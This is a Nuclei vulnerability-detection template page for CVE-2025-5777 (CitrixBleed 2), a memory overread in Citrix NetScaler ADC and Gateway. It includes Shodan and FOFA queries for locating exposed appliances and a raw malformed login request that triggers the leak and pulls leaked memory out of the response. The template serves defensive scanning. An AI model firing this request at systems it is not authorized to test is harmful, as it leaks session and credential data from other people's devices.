Citrix NetScaler Memory Disclosure - CitrixBleed 2
CVE-2025-5777
Verified
Description
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
Severity
Critical
Exploit Probability
71%
Published Date
July 5, 2025
Template Author
watchtowr, dhiyaneshdk, darses
CVE-2025-5777.yaml
id: CVE-2025-5777
info:
name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
author: watchtowr,DhiyaneshDk,darses
severity: critical
description: |
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
reference:
- https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
- https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
classification:
epss-score: 0.71183
epss-percentile: 0.98762
metadata:
verified: true
max-request: 1
shodan-query:
- title:"NetScaler Gateway"
- title:"NetScaler AAA"
- http.favicon.hash:-1166125415
- http.favicon.hash:-1292923998
fofa-query:
- title="NetScaler Gateway"
- title="NetScaler AAA"
- icon_hash="-1166125415"
- icon_hash="-1292923998"
tags: cve,cve2025,netscaler,citrix,exposure,kev,vkev,vuln
http:
- raw:
- |+
POST /p/u/doAuthentication.do HTTP/1.0
Host: {{Hostname}}
bleed_attack: {{iteration}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 5
login
unsafe: true
payloads:
iteration:
- "{{rand_int(1,5)}}"
extractors:
- type: regex
name: iv
part: body
group: 1
regex:
- '<InitialValue>([^<]{10,})</InitialValue>'
internal: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'len(iv) > 0'
- 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
- '!contains(body, "<InitialValue></InitialValue>")'
- '!contains(to_string(iv), "false")'
- '!contains(to_string(iv), "true")'
- '!regex("^[A-Za-z0-9+/=\\s]+$", iv)'
condition: and
# digest: 4b0a004830460221008519f3c90cbd740cee0daa6d16a3e035389f579e8d662a3b42fe695411d23c51022100a0f6a1432ebddcf0d64d1fc3434eca9f9379808506ccce36c14ab4db97a67663:922c64590222798bb761d5b6d8e72950